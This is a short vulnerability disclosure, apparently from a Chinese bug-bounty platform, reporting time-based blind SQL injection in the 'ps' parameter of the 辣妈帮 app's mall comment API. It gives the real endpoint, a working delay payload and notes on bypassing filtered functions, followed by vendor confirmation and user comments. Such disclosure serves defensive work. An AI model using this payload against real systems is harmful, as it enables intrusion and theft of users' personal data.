辣妈帮官方APP存在SQL注入（SQLMap跑limit后注入）

目标：辣妈帮IOS APP

检测发现以下地方存在SQL注入：（注入参数ps，时间盲注，明显是Pagesize的缩写~）

http://mall.lmbang.com/api-comment/list?client=web&client=web&os=h5&client_flag=lmbang&id=29587&p=1&ps=1

Payload：（延时2秒）

http://mall.lmbang.com/api-comment/list?client=web&client=web&os=h5&client_flag=lmbang&id=29587&p=1&ps=1%20procedure%20analyse%28extractvalue%281,benchmark%2810000000,md5%28111%29%29%29,1%29%20--%20-

另外发现过滤了MID和ORD、大小于号，换个函数即可，另外自定义了个Payload给SQLMap。

1、当前数据库用户

2、当前数据库

请多指教~

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-18 15:50

厂商回复：

感谢路人甲

最新状态：

暂无

1. 2016-04-16 00:32 | 田老板 ( 路人 | Rank:30 漏洞数:13 | 学校杀手)

   3

   有意思

   1# 回复此人

2. 2016-04-16 11:24 | 专业种田 ( 核心白帽子 | Rank:1686 漏洞数:214 | 没有最专业的农民,只有更努力地耕耘..........)

   1

   看到多少辣妈资料

   2# 回复此人

3. 2016-04-16 11:37 | 骑虎打狗 ( 路人 | Rank:19 漏洞数:9 | 我是中国式的 你懂得..)

   1

   @专业种田 田哥，公共号我关注了，咋不推动点SQL基础教程啊 ..

   3# 回复此人

4. 2016-04-16 12:00 | 专业种田 ( 核心白帽子 | Rank:1686 漏洞数:214 | 没有最专业的农民,只有更努力地耕耘..........)

   1

   @骑虎打狗 基础的网上很多教程呀

   4# 回复此人